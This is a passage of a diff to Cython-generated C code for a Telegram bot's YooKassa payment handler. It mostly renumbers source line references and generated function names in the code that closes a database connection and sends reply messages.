__Pyx_XGIVEREF(__pyx_t_9); @@ -10358,16 +9280,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } } - /* "handlers/payments/yookassa_pay.py":345 - * await _send_message(callback_query, " .") - * finally: - * await conn.close() # <<<<<<<<<<<<<< - * - * - */ /*finally:*/ { /*normal exit:*/{ - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 345, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -10387,7 +9302,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 345, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -10402,12 +9317,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 11; return __pyx_r; __pyx_L42_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 345, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 345, __pyx_L1_error) + else __PYX_ERR(0, 356, __pyx_L1_error) } } goto __pyx_L7; @@ -10434,7 +9349,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_XGOTREF(__pyx_t_23); __pyx_t_18 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_26 = __pyx_filename; { - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 345, __pyx_L44_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 356, __pyx_L44_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -10454,7 +9369,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 345, __pyx_L44_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L44_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -10505,12 +9420,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_25); __pyx_t_26 = __pyx_cur_scope->__pyx_t_8; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 345, __pyx_L44_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L44_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 345, __pyx_L44_error) + else __PYX_ERR(0, 356, __pyx_L44_error) } } } @@ -10553,7 +9468,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_XGOTREF(__pyx_t_10); __pyx_t_22 = __pyx_r; __pyx_r = 0; - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 345, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_conn, __pyx_n_s_close); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_2 = NULL; __pyx_t_5 = 0; @@ -10573,7 +9488,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 345, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } @@ -10623,12 +9538,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_25 = __pyx_cur_scope->__pyx_t_9; __pyx_cur_scope->__pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_t_25); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 345, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 345, __pyx_L1_error) + else __PYX_ERR(0, 356, __pyx_L1_error) } } __pyx_r = __pyx_t_22; @@ -10650,13 +9565,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yookassa_pay.py":252 - * - * - * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< - * async def process_custom_amount_input(callback_query: types.CallbackQuery | types.Message, session: Any): - * conn = await asyncpg.connect(DATABASE_URL) - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -10682,27 +9590,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __Pyx_RefNannyFinishContext(); return __pyx_r; } -static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":349 - * - * - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): # <<<<<<<<<<<<<< - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - */ /* Python wrapper */ -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_16_send_message(PyObject *__pyx_self, +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_19_send_message(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else PyObject *__pyx_args, PyObject *__pyx_kwds #endif ); /*proto*/ -PyDoc_STRVAR(__pyx_doc_8handlers_8payments_12yookassa_pay_15_send_message, "\320\243\320\275\320\270\320\262\320\265\321\200\321\201\320\260\320\273\321\214\320\275\320\260\321\217 \321\204\321\203\320\275\320\272\321\206\320\270\321\217 \320\276\321\202\320\277\321\200\320\260\320\262\320\272\320\270 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\321\217."); -static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_16_send_message = {"_send_message", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_16_send_message, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_12yookassa_pay_15_send_message}; -static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_16_send_message(PyObject *__pyx_self, +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_12yookassa_pay_18_send_message, "\320\243\320\275\320\270\320\262\320\265\321\200\321\201\320\260\320\273\321\214\320\275\320\260\321\217 \321\204\321\203\320\275\320\272\321\206\320\270\321\217 \320\276\321\202\320\277\321\200\320\260\320\262\320\272\320\270 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\321\217."); +static PyMethodDef __pyx_mdef_8handlers_8payments_12yookassa_pay_19_send_message = {"_send_message", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yookassa_pay_19_send_message, __Pyx_METH_FASTCALL|METH_KEYWORDS, __pyx_doc_8handlers_8payments_12yookassa_pay_18_send_message}; +static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_19_send_message(PyObject *__pyx_self, #if CYTHON_METH_FASTCALL PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds #else @@ -10753,7 +9654,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 349, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 360, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -10761,21 +9662,21 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 349, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 360, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, 1); __PYX_ERR(0, 349, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, 1); __PYX_ERR(0, 360, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: if (kw_args > 0) { PyObject* value = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_reply_markup); if (value) { values[2] = __Pyx_Arg_NewRef_FASTCALL(value); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 349, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 360, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "_send_message") < 0)) __PYX_ERR(0, 349, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "_send_message") < 0)) __PYX_ERR(0, 360, __pyx_L3_error) } } else { switch (__pyx_nargs) { @@ -10793,7 +9694,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, __pyx_nargs); __PYX_ERR(0, 349, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("_send_message", 0, 2, 3, __pyx_nargs); __PYX_ERR(0, 360, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -10807,8 +9708,8 @@ PyObject *__pyx_args, PyObject *__pyx_kwds __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; - if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_text), (&PyUnicode_Type), 0, "text", 1))) __PYX_ERR(0, 349, __pyx_L1_error) - __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_15_send_message(__pyx_self, __pyx_v_callback_query, __pyx_v_text, __pyx_v_reply_markup); + if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_text), (&PyUnicode_Type), 0, "text", 1))) __PYX_ERR(0, 360, __pyx_L1_error) + __pyx_r = __pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(__pyx_self, __pyx_v_callback_query, __pyx_v_text, __pyx_v_reply_markup); /* function exit code */ goto __pyx_L0; @@ -10825,19 +9726,19 @@ PyObject *__pyx_args, PyObject *__pyx_kwds return __pyx_r; } -static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15_send_message(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_text, PyObject *__pyx_v_reply_markup) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *__pyx_cur_scope; +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_18_send_message(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_text, PyObject *__pyx_v_reply_markup) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *__pyx_cur_scope; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("_send_message", 0); - __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message, __pyx_empty_tuple, NULL); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message(__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message, __pyx_empty_tuple, NULL); if (unlikely(!__pyx_cur_scope)) { - __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)Py_None); + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 349, __pyx_L1_error) + __PYX_ERR(0, 360, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -10851,7 +9752,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15_send_message(CYT __Pyx_INCREF(__pyx_cur_scope->__pyx_v_reply_markup); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_reply_markup); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_17generator5, __pyx_codeobj__25, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_message, __pyx_n_s_send_message, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 349, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_20generator6, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_send_message, __pyx_n_s_send_message, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 360, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -10867,9 +9768,9 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15_send_message(CYT return __pyx_r; } -static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message *)__pyx_generator->closure); + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message *)__pyx_generator->closure); PyObject *__pyx_r = NULL; PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; @@ -10890,45 +9791,31 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 349, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 360, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":351 - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): # <<<<<<<<<<<<<< - * await callback_query.message.answer(text, reply_markup=reply_markup) - * elif isinstance(callback_query, types.Message): - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 351, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 351, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_2); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 351, __pyx_L1_error) + __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_2); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 362, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_3) { - /* "handlers/payments/yookassa_pay.py":352 - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - * await callback_query.message.answer(text, reply_markup=reply_markup) # <<<<<<<<<<<<<< - * elif isinstance(callback_query, types.Message): - * await callback_query.answer(text, reply_markup=reply_markup) - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 352, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 352, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 352, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_text); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_text); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 352, __pyx_L1_error); - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 352, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 363, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 352, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 352, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 363, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -10944,56 +9831,38 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 352, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 363, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 352, __pyx_L1_error) + else __PYX_ERR(0, 363, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":351 - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): # <<<<<<<<<<<<<< - * await callback_query.message.answer(text, reply_markup=reply_markup) - * elif isinstance(callback_query, types.Message): - */ goto __pyx_L4; } - /* "handlers/payments/yookassa_pay.py":353 - * if isinstance(callback_query, types.CallbackQuery): - * await callback_query.message.answer(text, reply_markup=reply_markup) - * elif isinstance(callback_query, types.Message): # <<<<<<<<<<<<<< - * await callback_query.answer(text, reply_markup=reply_markup) - */ - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_types); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 353, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_types); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 353, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_4); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 353, __pyx_L1_error) + __pyx_t_3 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_4); if (unlikely(__pyx_t_3 == ((int)-1))) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_3) { - /* "handlers/payments/yookassa_pay.py":354 - * await callback_query.message.answer(text, reply_markup=reply_markup) - * elif isinstance(callback_query, types.Message): - * await callback_query.answer(text, reply_markup=reply_markup) # <<<<<<<<<<<<<< - */ - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 354, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 354, __pyx_L1_error) + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_text); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_text); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 354, __pyx_L1_error); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 354, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_cur_scope->__pyx_v_text)) __PYX_ERR(0, 365, __pyx_L1_error); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 354, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 354, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_reply_markup) < 0) __PYX_ERR(0, 365, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -11009,32 +9878,19 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 365, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 354, __pyx_L1_error) + else __PYX_ERR(0, 365, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":353 - * if isinstance(callback_query, types.CallbackQuery): - * await callback_query.message.answer(text, reply_markup=reply_markup) - * elif isinstance(callback_query, types.Message): # <<<<<<<<<<<<<< - * await callback_query.answer(text, reply_markup=reply_markup) - */ } __pyx_L4:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* 